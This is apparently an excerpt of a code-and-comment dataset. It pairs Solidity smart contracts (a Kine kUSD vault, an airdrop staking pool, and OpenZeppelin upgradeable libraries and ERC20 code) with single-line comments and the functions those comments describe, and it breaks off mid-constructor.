file_name
stringlengths
71
779k
comments
stringlengths
0
29.4k
code_string
stringlengths
20
7.69M
__index_level_0__
int64
2
17.2M
pragma solidity ^0.5.16; import "./IERC20.sol"; import "./SafeERC20.sol"; /** * @title KUSDVault stores the Kine off-chain trading system's kUSD. When total vault of synthetic assets in Kine trading system changed, Kine reporter will mint/burn corresponding * kUSD in this vault to ensure kUSD total supply synced with synthetic assets' value. * @author Kine */ contract KUSDVault { using SafeERC20 for IERC20; // @notice Emitted when pendingAdmin is changed event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin); // @notice Emitted when pendingAdmin is accepted, which means admin is updated event NewAdmin(address oldAdmin, address newAdmin); // @notice Emitted when kUSD transferred event TransferKusd(address indexed counterParty, uint amount); // @notice Emitted when Erc20 transferred event TransferErc20(address indexed erc20, address indexed target, uint amount); // @notice Emitted when Ehter transferred event TransferEther(address indexed target, uint amount); // @notice Emitted when Ehter recieved event ReceiveEther(uint amount); // @notice Emitted when operator changed event NewOperator(address oldOperator, address newOperator); // @notice Emitted when counter party changed event NewCounterParty(address oldCounterParty, address newCounterParty); // @notice Emitted when kUSD changed event NewKUSD(address oldKUSD, address newKUSD); address public admin; address public pendingAdmin; address public operator; address public counterParty; IERC20 public kUSD; modifier onlyAdmin() { require(msg.sender == admin, "only admin can call"); _; } modifier onlyOperator() { require(msg.sender == operator, "only operator can call"); _; } constructor(address admin_, address operator_, address counterParty_, address kUSD_) public { admin = admin_; operator = operator_; counterParty = counterParty_; kUSD = IERC20(kUSD_); } // @notice Operator can transfer kUSD to counterParty function transferKusd(uint amount) external onlyOperator { // check balance; uint balance = kUSD.balanceOf(address(this)); require(balance >= amount, "not enough kUSD balance"); // transferKusd kUSD.safeTransfer(counterParty, amount); emit TransferKusd(counterParty, amount); } // @notice Only admin can call function transferErc20(address erc20Addr, address target, uint amount) external onlyAdmin { // check balance; IERC20 erc20 = IERC20(erc20Addr); uint balance = erc20.balanceOf(address(this)); require(balance >= amount, "not enough erc20 balance"); // transfer token erc20.safeTransfer(target, amount); emit TransferErc20(erc20Addr, target, amount); } // @notice Only admin can call function transferEther(address payable target, uint amount) external onlyAdmin { // check balance; require(address(this).balance >= amount, "not enough ether balance"); // transfer ether require(target.send(amount), "transfer failed"); emit TransferEther(target, amount); } // @notice Only admin can set operator function _setOperator(address newOperator) external onlyAdmin { address oldOperator = operator; operator = newOperator; emit NewOperator(oldOperator, newOperator); } // only admin can set counterParty function _setCounterParty(address newCounterParty) external onlyAdmin { address oldCounterParty = counterParty; counterParty = newCounterParty; emit NewCounterParty(oldCounterParty, newCounterParty); } // only admin can set kUSD function _setKUSD(address newKUSD) external onlyAdmin { address oldKUSD = address(kUSD); kUSD = IERC20(newKUSD); emit NewKUSD(oldKUSD, newKUSD); } /** * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @param newPendingAdmin New pending admin. */ function _setPendingAdmin(address newPendingAdmin) external onlyAdmin { // Save current value, if any, for inclusion in log address oldPendingAdmin = pendingAdmin; // Store pendingAdmin with value newPendingAdmin pendingAdmin = newPendingAdmin; emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin); } /** * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin */ function _acceptAdmin() external { require(msg.sender == pendingAdmin && msg.sender != address(0), "unauthorized"); // Save current values for inclusion in log address oldAdmin = admin; address oldPendingAdmin = pendingAdmin; // Store admin with value pendingAdmin admin = pendingAdmin; // Clear the pending value pendingAdmin = address(0); emit NewAdmin(oldAdmin, admin); emit NewPendingAdmin(oldPendingAdmin, pendingAdmin); } // allow to recieve ether function() external payable { if (msg.value > 0) { emit ReceiveEther(msg.value); } } }
only admin can set counterParty
function _setCounterParty(address newCounterParty) external onlyAdmin { address oldCounterParty = counterParty; counterParty = newCounterParty; emit NewCounterParty(oldCounterParty, newCounterParty); }
12,656,579
./full_match/1/0x2760712092BA61e67043fE04FF3c4f54cd045ca0/sources/contracts/vaults/Drops4626.sol
Deposits weth into CEther and receive receipt tokens assets The amount of weth being deposited receiver The account that will receive the receipt tokens return shares The amount of receipt tokens minted
function deposit( uint256 assets, address receiver ) external nonReentrant returns (uint256 shares) { if (assets == 0) { revert ParameterOutOfBounds(); } if (receiver == address(0)) { revert InvalidAddress(); } shares = previewDeposit(assets); _deposit(assets, shares, receiver); }
2,955,557
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } } contract AirdropPool is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; struct UserInfo { uint256 amount; uint256 rewardDebt; } struct PoolInfo { IERC20 lpToken; uint256 allocPoint; uint256 lastRewardBlock; uint256 accBonusPerShare; } address public bonusToken; // Airdrop tokens for per block. uint256 public bonusPerBlock; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Total allocation points. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when bonus mining starts. uint256 public startBlock; // The block number when bonus mining end; uint256 public endBlock; // Airdrop cycle default 1day uint256 public cycle; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); constructor( address _bonusToken, uint256 _cycle ) public { bonusToken = _bonusToken; cycle = _cycle; } function poolLength() external view returns (uint256) { return poolInfo.length; } function newAirdrop(uint256 _tokenAmount, uint256 _newPerBlock, uint256 _startBlock) public onlyOwner { require(block.number > endBlock && _startBlock >= endBlock, "Not finished"); massUpdatePools(); uint256 beforeAmount = IERC20(bonusToken).balanceOf(address(this)); TransferHelper.safeTransferFrom(bonusToken, msg.sender, address(this), _tokenAmount); uint256 afterAmount = IERC20(bonusToken).balanceOf(address(this)); uint256 balance = afterAmount.sub(beforeAmount); require(balance == _tokenAmount, "Error balance"); require(balance > 0 && (cycle * _newPerBlock) <= balance, "Balance not enough"); bonusPerBlock = _newPerBlock; startBlock = _startBlock; endBlock = _startBlock.add(cycle); updatePoolLastRewardBlock(_startBlock); } function updatePoolLastRewardBlock(uint256 _lastRewardBlock) private { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { PoolInfo storage pool = poolInfo[pid]; pool.lastRewardBlock = _lastRewardBlock; } } function setCycle(uint256 _newCycle) public onlyOwner { cycle = _newCycle; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { require(address(_lpToken) != address(0), "lpToken is the zero address"); if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken : _lpToken, allocPoint : _allocPoint, lastRewardBlock : lastRewardBlock, accBonusPerShare : 0 })); } // Update the given pool's wht allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } // Update reward variables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; uint256 number = block.number > endBlock ? endBlock : block.number; if (number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = number; return; } uint256 multiplier = number.sub(pool.lastRewardBlock); uint256 bonusReward = multiplier.mul(bonusPerBlock).mul(pool.allocPoint).div(totalAllocPoint); pool.accBonusPerShare = pool.accBonusPerShare.add(bonusReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = number; } function pending(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accBonusPerShare = pool.accBonusPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); uint256 number = block.number > endBlock ? endBlock : block.number; if (number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = number.sub(pool.lastRewardBlock); uint256 bonusReward = multiplier.mul(bonusPerBlock).mul(pool.allocPoint).div(totalAllocPoint); accBonusPerShare = accBonusPerShare.add(bonusReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accBonusPerShare).div(1e12).sub(user.rewardDebt); } // Deposit LP tokens dividends bonus; function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pendingAmount = user.amount.mul(pool.accBonusPerShare).div(1e12).sub(user.rewardDebt); if (pendingAmount > 0) { safeTransfer(msg.sender, pendingAmount); } } if (_amount > 0) { pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); } user.rewardDebt = user.amount.mul(pool.accBonusPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pendingAmount = user.amount.mul(pool.accBonusPerShare).div(1e12).sub(user.rewardDebt); if (pendingAmount > 0) { safeTransfer(msg.sender, pendingAmount); } if (_amount > 0) { user.amount = user.amount.sub(_amount); pool.lpToken.safeTransfer(address(msg.sender), _amount); } user.rewardDebt = user.amount.mul(pool.accBonusPerShare).div(1e12); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; uint256 amount = user.amount; user.amount = 0; user.rewardDebt = 0; pool.lpToken.safeTransfer(address(msg.sender), amount); emit EmergencyWithdraw(msg.sender, _pid, amount); } // Safe bonus transfer function, just in case if rounding error causes pool to not have enough bonus. function safeTransfer(address _to, uint256 _amount) internal { uint256 bal = IERC20(bonusToken).balanceOf(address(this)); if (_amount > bal) { IERC20(bonusToken).transfer(_to, bal); } else { IERC20(bonusToken).transfer(_to, _amount); } } }
Withdraw LP tokens.
function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pendingAmount = user.amount.mul(pool.accBonusPerShare).div(1e12).sub(user.rewardDebt); if (pendingAmount > 0) { safeTransfer(msg.sender, pendingAmount); } if (_amount > 0) { user.amount = user.amount.sub(_amount); pool.lpToken.safeTransfer(address(msg.sender), _amount); } user.rewardDebt = user.amount.mul(pool.accBonusPerShare).div(1e12); emit Withdraw(msg.sender, _pid, _amount); }
13,090,374
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../utils/StringsUpgradeable.sol"; import "../utils/introspection/ERC165Upgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControlUpgradeable { function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; } /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable { function __AccessControl_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal initializer { } struct RoleData { mapping (address => bool) members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ */ function _checkRole(bytes32 role, address account) internal view { if(!hasRole(role, account)) { revert(string(abi.encodePacked( "AccessControl: account ", StringsUpgradeable.toHexString(uint160(account), 20), " is missing role ", StringsUpgradeable.toHexString(uint256(role), 32) ))); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, getRoleAdmin(role), adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant alphabet = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal initializer { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal initializer { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; 